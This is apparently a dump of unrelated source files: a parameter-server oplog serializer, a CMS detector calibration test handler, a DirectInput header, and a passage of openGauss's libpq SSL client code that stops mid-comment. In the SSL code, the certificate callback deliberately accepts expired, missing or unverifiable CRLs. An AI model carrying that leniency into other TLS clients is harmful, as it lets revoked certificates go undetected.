> 0); size_t &per_server_table_size = (*table_num_bytes_by_server)[buff_pair.first]; per_server_table_size = 0; for (auto &buff : buff_vec) { per_server_table_size += buff->get_size(); } } } void SerializeByServer(std::map<int32_t, void* > *bytes_by_server) { for (auto &server_bytes : (*bytes_by_server)) { int32_t server_id = server_bytes.first; uint8_t *mem = reinterpret_cast<uint8_t*>(server_bytes.second); int32_t &num_rows = *(reinterpret_cast<int32_t*>(mem)); num_rows = 0; auto server_buff_iter = buffer_map_.find(server_id); CHECK(server_buff_iter != buffer_map_.end()); std::vector<SerializedOpLogBuffer*> &buff_vec = server_buff_iter->second; size_t mem_offset = sizeof(int32_t); for (auto &buff : buff_vec) { memcpy(mem + mem_offset, buff->get_mem(), buff->get_size()); num_rows += buff->get_num_row_oplogs(); mem_offset += buff->get_size(); delete buff; } buffer_map_.erase(server_id); } } private: const bool dense_serialize_; const int32_t my_comm_channel_idx_; std::unordered_map<int32_t, std::vector<SerializedOpLogBuffer*> > buffer_map_; }; }
2,043
852
/* * see file for a description of this class. * * $Date: 2012/02/07 18:35:00 $ * $Revision: 1.6.2.1 $ * \author <NAME> INFN Padova * */ //----------------------- // This Class' Header -- //----------------------- #include "CondTools/DT/test/validate/DTT0ValidateHandler.h" //------------------------------- // Collaborating Class Headers -- //------------------------------- #include "CondFormats/DTObjects/interface/DTT0.h" //--------------- // C++ Headers -- //--------------- #include <cmath> #include <iostream> #include <fstream> #include <sstream> //------------------- // Initializations -- //------------------- //---------------- // Constructors -- //---------------- DTT0ValidateHandler::DTT0ValidateHandler(const edm::ParameterSet& ps) : firstRun(ps.getParameter<unsigned int>("firstRun")), lastRun(ps.getParameter<unsigned int>("lastRun")), dataVersion(ps.getParameter<std::string>("version")), dataFileName(ps.getParameter<std::string>("outFile")), elogFileName(ps.getParameter<std::string>("logFile")) { std::ofstream logFile(elogFileName.c_str()); } //-------------- // Destructor -- //-------------- DTT0ValidateHandler::~DTT0ValidateHandler() {} //-------------- // Operations -- //-------------- void DTT0ValidateHandler::getNewObjects() { int runNumber = firstRun; while (runNumber <= lastRun) addNewObject(runNumber++); return; } void DTT0ValidateHandler::addNewObject(int runNumber) { DTT0* t0 = new DTT0(dataVersion); std::stringstream run_fn; run_fn << "run" << runNumber << dataFileName; int status = 0; std::ofstream outFile(run_fn.str().c_str()); std::ofstream logFile(elogFileName.c_str(), std::ios_base::app); int whe; int sta; int sec; int qua; int lay; int cel; int cur; int ndt = 20; float t0mean; float t0rms; float ckmean; float ckrms; int ckrun = runNumber % 3; whe = 3; while (--whe >= -2) { sta = 5; while (--sta) { if (sta == 4) sec = 15; else sec = 13; while (--sec) { qua = 4; while (--qua) { if ((sta == 4) && (qua == 2)) continue; lay = 5; while (--lay) { cur = ndt; while (--cur) { cel = (ckrun ? cur : ndt - cur); t0mean = random() * 1.0 / 0x0fffffff; t0rms = random() * 0.2 / 0x7fffffff; t0mean -= 4.0; // t0rms /= 4.0; status = t0->set(whe, sta, sec, qua, lay, cel, t0mean, t0rms, DTTimeUnits::counts); outFile << whe << " " << sta << " " << sec << " " << qua << " " << lay << " " << cel << " " << t0mean << " " << t0rms << std::endl; if (status) logFile << "ERROR while setting cell T0 " << whe << " " << sta << " " << sec << " " << qua << " " << lay << " " << cel << " , status = " << status << std::endl; status = t0->get(whe, sta, sec, qua, lay, cel, ckmean, ckrms, DTTimeUnits::counts); if (status) logFile << "ERROR while checking cell T0 " << whe << " " << sta << " " << sec << " " << qua << " " << lay << " " << cel << " , status = " << status << std::endl; if ((fabs(ckmean - t0mean) > 0.0001) || (fabs(ckrms - t0rms) > 0.0001)) logFile << "MISMATCH WHEN WRITING cell T0 " << whe << " " << sta << " " << sec << " " << qua << " " << lay << " " << cel << " : " << t0mean << " " << t0rms << " -> " << ckmean << " " << ckrms << std::endl; } } } } } } cond::Time_t snc = runNumber; m_to_transfer.push_back(std::make_pair(t0, snc)); return; } std::string DTT0ValidateHandler::id() const { return dataVersion; }
1,753
1,040
<reponame>Ybalrid/orbiter /* **---------------------------------------------------------------------------- ** ** File: input.h ** Purpose: DirectInput. ** Notes: ** ** Copyright (C) 1995-1999 Microsoft Corporation. All Rights Reserved. **---------------------------------------------------------------------------- */ extern void WINAPI DI_Term(void); extern BOOL WINAPI DI_Init(void); extern void WINAPI ProcessKBInput(void); typedef struct t_keys { int separation; int alignment; int cohesion; int migratory; int obstacle; } Keys; extern Keys keys;
177
360
/* ------------------------------------------------------------------------- * * fe-secure.cpp * functions related to setting up a secure connection to the backend. * Secure connections are expected to provide confidentiality, * message integrity and endpoint authentication. * * * Portions Copyright (c) 2020 Huawei Technologies Co.,Ltd. * Portions Copyright (c) 1996-2012, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * * IDENTIFICATION * src/common/interfaces/libpq/fe-secure.cpp * * NOTES * * We don't provide informational callbacks here (like * info_cb() in be-secure.c), since there's no good mechanism to * display such information to the user. * * ------------------------------------------------------------------------- */ #include "postgres_fe.h" #pragma GCC diagnostic ignored "-Wunused-function" #include <signal.h> #include <fcntl.h> #include <ctype.h> #include "libpq/libpq-fe.h" #include "fe-auth.h" #include "pqsignal.h" #include "libpq/libpq-int.h" #ifdef WIN32 #include "win32.h" #else #include <sys/socket.h> #include <unistd.h> #include <netdb.h> #include <netinet/in.h> #ifdef HAVE_NETINET_TCP_H #include <netinet/tcp.h> #endif #include <arpa/inet.h> #endif #include <sys/stat.h> #ifdef ENABLE_THREAD_SAFETY #ifdef WIN32 #include "pthread-win32.h" #else #include <pthread.h> #endif #endif #ifdef USE_SSL #include "openssl/ssl.h" #include "openssl/ossl_typ.h" #include "openssl/x509.h" #include "openssl/crypto.h" #include "openssl/sslerr.h" #include "openssl/err.h" #include "utils/elog.h" #ifndef WIN32 #define USER_CERT_FILE ".postgresql/postgresql.crt" #define USER_KEY_FILE ".postgresql/postgresql.key" #define ROOT_CERT_FILE ".postgresql/root.crt" #define ROOT_CRL_FILE ".postgresql/root.crl" #else /* On Windows, the "home" directory is already PostgreSQL-specific */ #define USER_CERT_FILE "postgresql.crt" #define USER_KEY_FILE "postgresql.key" #define ROOT_CERT_FILE "root.crt" #define ROOT_CRL_FILE "root.crl" #endif #include "cipher.h" static bool verify_peer_name_matches_certificate(PGconn*); static int verify_cb(int ok, X509_STORE_CTX* ctx); static int init_ssl_system(PGconn* conn); static void destroy_ssl_system(PGconn* conn); static void destroySSL(PGconn* conn); static void close_SSL(PGconn*); #ifndef ENABLE_UT static char* SSLerrmessage(void); static int check_permission_cipher_file(const char* parent_dir, PGconn* conn, const char* username); static PostgresPollingStatusType open_client_SSL(PGconn*); static int initialize_SSL(PGconn* conn); static int init_client_ssl_passwd(SSL* pstContext, const char* path, const char* username, PGconn* conn); #else char* SSLerrmessage(void); int check_permission_cipher_file(const char* parent_dir, PGconn* conn, const char* username); PostgresPollingStatusType open_client_SSL(PGconn*); int initialize_SSL(PGconn* conn); int init_client_ssl_passwd(SSL* pstContext, const char* path, const char* username, PGconn* conn); #endif static void SSLerrfree(char* buf); int ssl_security_DH_ECDH_cb(const SSL* s, const SSL_CTX* ctx, int op, int bits, int nid, void* other, void* ex); static char* ssl_cipher_list2string(const char* ciphers[], const int num); static int SSL_CTX_set_cipher_list_ex(SSL_CTX* ctx, const char* ciphers[], const int num); static THR_LOCAL bool pq_init_ssl_lib = true; static THR_LOCAL bool pq_init_crypto_lib = true; #ifndef ENABLE_UT static bool set_client_ssl_ciphers(); /* set client security cipherslist*/ #else bool set_client_ssl_ciphers(); /* set client security cipherslist*/ #endif // ENABLE_UT /* * SSL_context is currently shared between threads and therefore we need to be * careful to lock around any usage of it when providing thread safety. * ssl_config_mutex is the mutex that we use to protect it. */ static THR_LOCAL SSL_CTX* SSL_context = NULL; THR_LOCAL unsigned char disable_pqlocking = 0; #ifdef ENABLE_THREAD_SAFETY static long ssl_open_connections = 0; #ifndef WIN32 static pthread_mutex_t ssl_config_mutex = PTHREAD_MUTEX_INITIALIZER; #else static pthread_mutex_t ssl_config_mutex = NULL; static long win32_ssl_create_mutex = 0; #endif #endif /* ENABLE_THREAD_SAFETY */ /* security ciphers suites in SSL connection */ static const char* ssl_ciphers_map[] = { TLS1_TXT_DHE_RSA_WITH_AES_128_GCM_SHA256, /* TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 */ TLS1_TXT_DHE_RSA_WITH_AES_256_GCM_SHA384, /* TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 */ TLS1_TXT_DHE_RSA_WITH_AES_128_CCM, /* TLS_DHE_RSA_WITH_AES_128_CCM */ TLS1_TXT_DHE_RSA_WITH_AES_256_CCM, /* TLS_DHE_RSA_WITH_AES_256_CCM */ TLS1_TXT_ECDHE_RSA_WITH_AES_256_GCM_SHA384, /* TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 */ TLS1_TXT_ECDHE_RSA_WITH_AES_128_GCM_SHA256, /* TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 */ TLS1_TXT_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, /* TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 */ TLS1_TXT_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, /* TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 */ NULL}; #endif /* SSL */ /* * Macros to handle disabling and then restoring the state of SIGPIPE handling. * On Windows, these are all no-ops since there's no SIGPIPEs. */ #ifndef WIN32 #define SIGPIPE_MASKED(conn) ((conn)->sigpipe_so || (conn)->sigpipe_flag) #ifdef ENABLE_THREAD_SAFETY struct sigpipe_info { sigset_t oldsigmask; bool sigpipe_pending; bool got_epipe; }; #define DECLARE_SIGPIPE_INFO(spinfo) struct sigpipe_info spinfo #define DISABLE_SIGPIPE(conn, spinfo, failaction) \ do { \ (spinfo).got_epipe = false; \ if (!SIGPIPE_MASKED(conn)) { \ if (pq_block_sigpipe(&(spinfo).oldsigmask, &(spinfo).sigpipe_pending) < 0) \ failaction; \ } \ } while (0) #define REMEMBER_EPIPE(spinfo, cond) \ do { \ if (cond) \ (spinfo).got_epipe = true; \ } while (0) #define RESTORE_SIGPIPE(conn, spinfo) \ do { \ if (!SIGPIPE_MASKED(conn)) \ pq_reset_sigpipe(&(spinfo).oldsigmask, (spinfo).sigpipe_pending, (spinfo).got_epipe); \ } while (0) #else /* !ENABLE_THREAD_SAFETY */ #define DECLARE_SIGPIPE_INFO(spinfo) pqsigfunc spinfo = NULL #define DISABLE_SIGPIPE(conn, spinfo, failaction) \ do { \ if (!SIGPIPE_MASKED((conn))) { \ (spinfo) = pqsignal(SIGPIPE, SIG_IGN); \ } \ } while (0) #define REMEMBER_EPIPE(spinfo, cond) #define RESTORE_SIGPIPE(conn, spinfo) \ do { \ if (!SIGPIPE_MASKED((conn))) { \ pqsignal(SIGPIPE, (spinfo)); \ } \ } while (0) #endif /* ENABLE_THREAD_SAFETY */ #else /* WIN32 */ #define DECLARE_SIGPIPE_INFO(spinfo) #define DISABLE_SIGPIPE(conn, spinfo, failaction) #define REMEMBER_EPIPE(spinfo, cond) #define RESTORE_SIGPIPE(conn, spinfo) #endif /* WIN32 */ /* ------------------------------------------------------------ */ /* Procedures common to all secure sessions */ /* ------------------------------------------------------------ */ /* * Exported function to allow application to tell us it's already * initialized OpenSSL. */ void PQinitSSL(int do_init) { PQinitOpenSSL(do_init, do_init); } /* * Exported function to allow application to tell us it's already * initialized OpenSSL and/or libcrypto. */ void PQinitOpenSSL(int do_ssl, int do_crypto) { #ifdef USE_SSL #ifdef ENABLE_THREAD_SAFETY /* * Disallow changing the flags while we have open connections, else we'd * get completely confused. */ if (ssl_open_connections != 0) return; #endif pq_init_ssl_lib = do_ssl; pq_init_crypto_lib = do_crypto; #endif } /* * Initialize global SSL context */ int pqsecure_initialize(PGconn* conn) { int r = 0; #ifdef USE_SSL r = init_ssl_system(conn); #endif return r; } /* * Destroy global context */ void pqsecure_destroy(PGconn* conn) { #ifdef USE_SSL destroySSL(conn); #endif } /* * Begin or continue negotiating a secure session. */ PostgresPollingStatusType pqsecure_open_client(PGconn* conn) { #ifdef USE_SSL disable_pqlocking = 0; /* First time through? */ if (conn->ssl == NULL) { #ifdef ENABLE_THREAD_SAFETY int rc = 0; #endif /* We cannot use MSG_NOSIGNAL to block SIGPIPE when using SSL */ conn->sigpipe_flag = false; #ifdef ENABLE_THREAD_SAFETY if ((rc = pthread_mutex_lock(&ssl_config_mutex))) { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("could not acquire mutex: %s\n"), strerror(rc)); return (PostgresPollingStatusType)-1; } #endif /* Create a connection-specific SSL object */ if (((conn->ssl = SSL_new(SSL_context)) == NULL) || !SSL_set_app_data(conn->ssl, conn) || !SSL_set_fd(conn->ssl, (int)((intptr_t)(conn->sock)))) { char* err = SSLerrmessage(); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("could not establish SSL connection, remote datanode %s: %s, err:%s\n"), conn->remote_nodename, err, strerror(errno)); SSLerrfree(err); #ifdef ENABLE_THREAD_SAFETY (void)pthread_mutex_unlock(&ssl_config_mutex); #endif close_SSL(conn); return PGRES_POLLING_FAILED; } #ifdef ENABLE_THREAD_SAFETY (void)pthread_mutex_unlock(&ssl_config_mutex); #endif /* * Load client certificate, private key, and trusted CA certs. */ if (initialize_SSL(conn) != 0) { /* initialize_SSL already put a message in conn->errorMessage */ close_SSL(conn); return PGRES_POLLING_FAILED; } } /* Begin or continue the actual handshake */ return open_client_SSL(conn); #else /* shouldn't get here */ return PGRES_POLLING_FAILED; #endif } /* * Close secure session. */ void pqsecure_close(PGconn* conn) { #ifdef USE_SSL if (conn->ssl != NULL) close_SSL(conn); #endif } /* * Read data from a secure connection. * * On failure, this function is responsible for putting a suitable message * into conn->errorMessage. The caller must still inspect errno, but only * to determine whether to continue/retry after error. */ ssize_t pqsecure_read(PGconn* conn, void* ptr, size_t len) { ssize_t n; int result_errno = 0; char sebuf[256]; #ifdef USE_SSL if (conn->ssl != NULL) { int err; DECLARE_SIGPIPE_INFO(spinfo); /* SSL_read can write to the socket, so we need to disable SIGPIPE */ DISABLE_SIGPIPE(conn, spinfo, return -1); rloop: SOCK_ERRNO_SET(0); ERR_clear_error(); n = SSL_read(conn->ssl, ptr, len); err = SSL_get_error(conn->ssl, n); switch (err) { case SSL_ERROR_NONE: if (n < 0) { /* Not supposed to happen, so we don't translate the msg */ printfPQExpBuffer(&conn->errorMessage, "SSL_read failed but did not provide error information, remote datanode %s, err: %s\n", conn->remote_nodename, strerror(errno)); /* assume the connection is broken */ result_errno = ECONNRESET; } break; case SSL_ERROR_WANT_READ: n = 0; break; case SSL_ERROR_WANT_WRITE: /* * Returning 0 here would cause caller to wait for read-ready, * which is not correct since what SSL wants is wait for * write-ready. The former could get us stuck in an infinite * wait, so don't risk it; busy-loop instead. */ goto rloop; case SSL_ERROR_SYSCALL: if (n < 0) { result_errno = SOCK_ERRNO; REMEMBER_EPIPE(spinfo, result_errno == EPIPE); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL SYSCALL error: %s, remote datanode %s, error: %s\n"), SOCK_STRERROR(result_errno, sebuf, sizeof(sebuf)), conn->remote_nodename, strerror(errno)); } else { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL SYSCALL error: EOF detected, remote datanode %s, error: %s\n"), conn->remote_nodename, strerror(errno)); /* assume the connection is broken */ result_errno = ECONNRESET; n = -1; } break; case SSL_ERROR_SSL: { char* errm = SSLerrmessage(); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL error: %s, remote datanode %s, error: %s\n"), errm, conn->remote_nodename, strerror(errno)); SSLerrfree(errm); /* assume the connection is broken */ result_errno = ECONNRESET; n = -1; break; } case SSL_ERROR_ZERO_RETURN: /* * Per OpenSSL documentation, this error code is only returned * for a clean connection closure, so we should not report it * as a server crash. */ printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL connection has been closed unexpectedly, remote datanode %s, error: %s\n"), conn->remote_nodename, strerror(errno)); result_errno = ECONNRESET; n = -1; break; default: printfPQExpBuffer(&conn->errorMessage, libpq_gettext("unrecognized SSL error code: %d, remote datanode %s, error: %s\n"), err, conn->remote_nodename, strerror(errno)); /* assume the connection is broken */ result_errno = ECONNRESET; n = -1; break; } RESTORE_SIGPIPE(conn, spinfo); } else #endif /* USE_SSL */ { #ifdef WIN32 n = recv(conn->sock, (char*)ptr, len, 0); #else n = recv(conn->sock, ptr, len, 0); #endif if (n < 0) { result_errno = SOCK_ERRNO; /* Set error message if appropriate */ switch (result_errno) { #ifdef EAGAIN case EAGAIN: #endif #if defined(EWOULDBLOCK) && (!defined(EAGAIN) || (EWOULDBLOCK != EAGAIN)) case EWOULDBLOCK: #endif case EINTR: /* no error message, caller is expected to retry */ break; #ifdef ECONNRESET case ECONNRESET: printfPQExpBuffer(&conn->errorMessage, libpq_gettext("could not receive data from server, error: %s, remote datanode: %s\n"), SOCK_STRERROR(result_errno, sebuf, sizeof(sebuf)), conn->remote_nodename); break; #endif default: printfPQExpBuffer(&conn->errorMessage, libpq_gettext("could not receive data from server, error: %s, remote datanode: %s\n"), SOCK_STRERROR(result_errno, sebuf, sizeof(sebuf)), conn->remote_nodename); break; } } } /* ensure we return the intended errno to caller */ SOCK_ERRNO_SET(result_errno); return n; } /* * Write data to a secure connection. * * On failure, this function is responsible for putting a suitable message * into conn->errorMessage. The caller must still inspect errno, but only * to determine whether to continue/retry after error. */ ssize_t pqsecure_write(PGconn* conn, const void* ptr, size_t len) { ssize_t n; int result_errno = 0; char sebuf[256]; DECLARE_SIGPIPE_INFO(spinfo); #ifdef USE_SSL if (conn->ssl != NULL) { int err; DISABLE_SIGPIPE(conn, spinfo, return -1); SOCK_ERRNO_SET(0); ERR_clear_error(); n = SSL_write(conn->ssl, ptr, len); err = SSL_get_error(conn->ssl, n); switch (err) { case SSL_ERROR_NONE: if (n < 0) { /* Not supposed to happen, so we don't translate the msg */ printfPQExpBuffer(&conn->errorMessage, "SSL_write failed but did not provide error information, remote datanode %s, error: %s\n", conn->remote_nodename, strerror(errno)); /* assume the connection is broken */ result_errno = ECONNRESET; } break; case SSL_ERROR_WANT_READ: /* * Returning 0 here causes caller to wait for write-ready, * which is not really the right thing, but it's the best we * can do. */ n = 0; break; case SSL_ERROR_WANT_WRITE: n = 0; break; case SSL_ERROR_SYSCALL: if (n < 0) { result_errno = SOCK_ERRNO; REMEMBER_EPIPE(spinfo, result_errno == EPIPE); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL SYSCALL error: %s, remote datanode %s\n"), SOCK_STRERROR(result_errno, sebuf, sizeof(sebuf)), conn->remote_nodename); } else { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL SYSCALL error: EOF detected, remote datanode %s, error: %s\n"), conn->remote_nodename, strerror(errno)); /* assume the connection is broken */ result_errno = ECONNRESET; n = -1; } break; case SSL_ERROR_SSL: { char* errm = SSLerrmessage(); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL error: %s, remote datanode %s, error: %s\n"), errm, conn->remote_nodename, strerror(errno)); SSLerrfree(errm); /* assume the connection is broken */ result_errno = ECONNRESET; n = -1; break; } case SSL_ERROR_ZERO_RETURN: /* * Per OpenSSL documentation, this error code is only returned * for a clean connection closure, so we should not report it * as a server crash. */ printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL connection has been closed unexpectedly, remote datanode %s, error: %s\n"), conn->remote_nodename, strerror(errno)); result_errno = ECONNRESET; n = -1; break; default: printfPQExpBuffer(&conn->errorMessage, libpq_gettext("unrecognized SSL error code: %d, remote datanode %s, error: %s\n"), err, conn->remote_nodename, strerror(errno)); /* assume the connection is broken */ result_errno = ECONNRESET; n = -1; break; } } else #endif /* USE_SSL */ { unsigned int flags = 0; #ifdef MSG_NOSIGNAL if (conn->sigpipe_flag) flags |= MSG_NOSIGNAL; retry_masked: #endif /* MSG_NOSIGNAL */ DISABLE_SIGPIPE(conn, spinfo, return -1); #ifdef WIN32 n = send(conn->sock, (const char*)ptr, len, flags); #else n = send(conn->sock, ptr, len, flags); #endif if (n < 0) { result_errno = SOCK_ERRNO; /* * If we see an EINVAL, it may be because MSG_NOSIGNAL isn't * available on this machine. So, clear sigpipe_flag so we don't * try the flag again, and retry the send(). */ #ifdef MSG_NOSIGNAL if (flags != 0 && result_errno == EINVAL) { conn->sigpipe_flag = false; flags = 0; goto retry_masked; } #endif /* MSG_NOSIGNAL */ /* Set error message if appropriate */ switch (result_errno) { #ifdef EAGAIN case EAGAIN: #endif #if defined(EWOULDBLOCK) && (!defined(EAGAIN) || (EWOULDBLOCK != EAGAIN)) case EWOULDBLOCK: #endif case EINTR: /* no error message, caller is expected to retry */ break; case EPIPE: /* Set flag for EPIPE */ REMEMBER_EPIPE(spinfo, true); /* FALL THRU */ #ifdef ECONNRESET case ECONNRESET: #endif printfPQExpBuffer(&conn->errorMessage, libpq_gettext("could not send data to server: %s\n"), SOCK_STRERROR(result_errno, sebuf, sizeof(sebuf))); break; default: printfPQExpBuffer(&conn->errorMessage, libpq_gettext("could not send data to server: %s\n"), SOCK_STRERROR(result_errno, sebuf, sizeof(sebuf))); break; } } } RESTORE_SIGPIPE(conn, spinfo); /* ensure we return the intended errno to caller */ SOCK_ERRNO_SET(result_errno); return n; } /* * Read data from a pg_fdw secure connection. */ ssize_t pgfdw_pqsecure_read(PGconn* conn, void* ptr, size_t len) { ssize_t n = -1; int result_errno = 0; char sebuf[256]; #ifdef USE_SSL if (conn->ssl != NULL) { int err; DECLARE_SIGPIPE_INFO(spinfo); /* SSL_read can write to the socket, so we need to disable SIGPIPE */ DISABLE_SIGPIPE(conn, spinfo, return -1); rloop: SOCK_ERRNO_SET(0); ERR_clear_error(); n = SSL_read(conn->ssl, ptr, len); err = SSL_get_error(conn->ssl, n); switch (err) { case SSL_ERROR_NONE: if (n < 0) { /* Not supposed to happen, so we don't translate the msg */ printfPQExpBuffer(&conn->errorMessage, "SSL_read failed but did not provide error information, remote datanode %s, error: %s\n", conn->remote_nodename, strerror(errno)); /* assume the connection is broken */ result_errno = ECONNRESET; } break; case SSL_ERROR_WANT_READ: case SSL_ERROR_WANT_WRITE: goto rloop; case SSL_ERROR_SYSCALL: if (n < 0) { result_errno = SOCK_ERRNO; REMEMBER_EPIPE(spinfo, result_errno == EPIPE); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL SYSCALL error: %s\n"), SOCK_STRERROR(result_errno, sebuf, sizeof(sebuf))); } else { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL SYSCALL error: EOF detected, remote datanode %s, error: %s\n"), conn->remote_nodename, strerror(errno)); /* assume the connection is broken */ result_errno = ECONNRESET; n = -1; } break; case SSL_ERROR_SSL: { char* errm = SSLerrmessage(); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL error: %s, remote datanode %s, error: %s\n"), errm, conn->remote_nodename, strerror(errno)); SSLerrfree(errm); /* assume the connection is broken */ result_errno = ECONNRESET; n = -1; break; } case SSL_ERROR_ZERO_RETURN: /* * Per OpenSSL documentation, this error code is only returned * for a clean connection closure, so we should not report it * as a server crash. */ printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL connection has been closed unexpectedly, remote datanode %s, error:%s\n"), conn->remote_nodename, strerror(errno)); result_errno = ECONNRESET; n = -1; break; default: printfPQExpBuffer(&conn->errorMessage, libpq_gettext("unrecognized SSL error code: %d, remote datanode %s, error:%s\n"), err, conn->remote_nodename, strerror(errno)); /* assume the connection is broken */ result_errno = ECONNRESET; n = -1; break; } RESTORE_SIGPIPE(conn, spinfo); } #endif /* USE_SSL */ /* ensure we return the intended errno to caller */ SOCK_ERRNO_SET(result_errno); return n; } /* * Write data to a pg_fdw secure connection. */ ssize_t pgfdw_pqsecure_write(PGconn* conn, const void* ptr, size_t len) { ssize_t n = -1; int result_errno = 0; char sebuf[256]; DECLARE_SIGPIPE_INFO(spinfo); #ifdef USE_SSL if (conn->ssl != NULL) { int err; DISABLE_SIGPIPE(conn, spinfo, return -1); wloop: SOCK_ERRNO_SET(0); ERR_clear_error(); n = SSL_write(conn->ssl, ptr, len); err = SSL_get_error(conn->ssl, n); switch (err) { case SSL_ERROR_NONE: if (n < 0) { /* Not supposed to happen, so we don't translate the msg */ printfPQExpBuffer(&conn->errorMessage, "SSL_write failed but did not provide error information, remote datanode %s, error: %s\n", conn->remote_nodename, strerror(errno)); /* assume the connection is broken */ result_errno = ECONNRESET; } break; case SSL_ERROR_WANT_READ: case SSL_ERROR_WANT_WRITE: goto wloop; case SSL_ERROR_SYSCALL: if (n < 0) { result_errno = SOCK_ERRNO; REMEMBER_EPIPE(spinfo, result_errno == EPIPE); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL SYSCALL error: %s\n"), SOCK_STRERROR(result_errno, sebuf, sizeof(sebuf))); } else { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL SYSCALL error: EOF detected, remote datanode %s, error: %s\n"), conn->remote_nodename, strerror(errno)); /* assume the connection is broken */ result_errno = ECONNRESET; n = -1; } break; case SSL_ERROR_SSL: { char* errm = SSLerrmessage(); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL error: %s\n"), errm); SSLerrfree(errm); /* assume the connection is broken */ result_errno = ECONNRESET; n = -1; break; } case SSL_ERROR_ZERO_RETURN: /* * Per OpenSSL documentation, this error code is only returned * for a clean connection closure, so we should not report it * as a server crash. */ printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL connection has been closed unexpectedly, remote datanode %s, error: %s\n"), conn->remote_nodename, strerror(errno)); result_errno = ECONNRESET; n = -1; break; default: printfPQExpBuffer(&conn->errorMessage, libpq_gettext("unrecognized SSL error code: %d\n"), err); /* assume the connection is broken */ result_errno = ECONNRESET; n = -1; break; } } #endif /* USE_SSL */ RESTORE_SIGPIPE(conn, spinfo); /* ensure we return the intended errno to caller */ SOCK_ERRNO_SET(result_errno); return n; } /* ------------------------------------------------------------ */ /* SSL specific code */ /* ------------------------------------------------------------ */ #ifdef USE_SSL /* * Certificate verification callback * * This callback allows us to log intermediate problems during * verification, but there doesn't seem to be a clean way to get * our PGconn * structure. So we can't log anything! * * This callback also allows us to override the default acceptance * criteria (e.g., accepting self-signed or expired certs), but * for now we accept the default checks. */ static int verify_cb(int ok, X509_STORE_CTX* ctx) { int cert_error = X509_STORE_CTX_get_error(ctx); if (!ok) { switch (cert_error) { case X509_V_ERR_CRL_HAS_EXPIRED: ok = 1; break; case X509_V_ERR_UNABLE_TO_GET_CRL: ok = 1; break; case X509_V_ERR_UNABLE_TO_DECRYPT_CRL_SIGNATURE: ok = 1; break; case X509_V_ERR_CRL_SIGNATURE_FAILURE: ok = 1; break; case X509_V_ERR_CRL_NOT_YET_VALID: ok = 1; break; case X509_V_ERR_ERROR_IN_CRL_LAST_UPDATE_FIELD: ok = 1; break; case X509_V_ERR_ERROR_IN_CRL_NEXT_UPDATE_FIELD: ok = 1; break; case X509_V_ERR_UNABLE_TO_GET_CRL_ISSUER: ok = 1; break; case X509_V_ERR_KEYUSAGE_NO_CRL_SIGN: ok = 1; break; case X509_V_ERR_UNHANDLED_CRITICAL_CRL_EXTENSION: ok = 1; break; case X509_V_ERR_DIFFERENT_CRL_SCOPE: ok = 1; break; case X509_V_ERR_CRL_PATH_VALIDATION_ERROR: ok = 1; break; default: break; } } return ok; } /* * Check if a wildcard certificate matches the server hostname. * * The rule for this is: * 1. We only match the '*' character as wildcard * 2. We match only wildcards at the start of the string * 3. The '*' character does *not* match '.', meaning that we match only * a single pathname component. * 4. We don't support more than one '*' in a single pattern. * * This is roughly in line with RFC2818, but contrary to what most browsers * appear to be implementing (point 3 being the difference) * * Matching is always case-insensitive, since DNS is case insensitive. */ static int wildcard_certificate_match(const char* pattern, const char* string) { int lenpat = strlen(pattern); int lenstr = strlen(string); /* If we don't start with a wildcard, it's not a match (rule 1 & 2) */ if (lenpat < 3 || pattern[0] != '*' || pattern[1] != '.') return 0; if (lenpat > lenstr) /* If pattern is longer than the string, we can never match */ return 0; if (pg_strcasecmp(pattern + 1, string + lenstr - lenpat + 1) != 0) /* * If string does not end in pattern (minus the wildcard), we don't * match */ return 0; if (strchr(string, '.') < string + lenstr - lenpat) /* * If there is a dot left of where the pattern started to match, we * don't match (rule 3) */ return 0; /* String ended with pattern, and didn't have a dot before, so we match */ return 1; } /* * Brief : static bool verify_peer_name_matches_certificate(PGconn *conn) * Description : Verify that common name resolves to peer. * Notes : use internal ssl objects */ static bool verify_peer_name_matches_certificate(PGconn* conn) { char* peer_cn = NULL; int r; int len; bool result = false; /* * If told not to verify the peer name, don't do it. Return true * indicating that the verification was successful. */ if (strcmp(conn->sslmode, "verify-full") != 0) return true; /* First find out the name's length and allocate a buffer for it. */ len = X509_NAME_get_text_by_NID(X509_get_subject_name(conn->peer), NID_commonName, NULL, 0); if (len == -1) { printfPQExpBuffer( &conn->errorMessage, libpq_gettext("could not get server common name from server certificate\n")); return false; } peer_cn = (char*)malloc(len + 1); if (peer_cn == NULL) { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("out of memory\n")); return false; } r = X509_NAME_get_text_by_NID(X509_get_subject_name(conn->peer), NID_commonName, peer_cn, len + 1); if (r != len) { printfPQExpBuffer( &conn->errorMessage, libpq_gettext("could not get server common name from server certificate\n")); libpq_free(peer_cn); return false; } peer_cn[len] = '\0'; if ((size_t)len != strlen(peer_cn)) { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL certificate's common name contains embedded null, remote datanode %s, errno:%s\n"), conn->remote_nodename, strerror(errno)); libpq_free(peer_cn); return false; } /* * We got the peer's common name. Now compare it against the originally * given 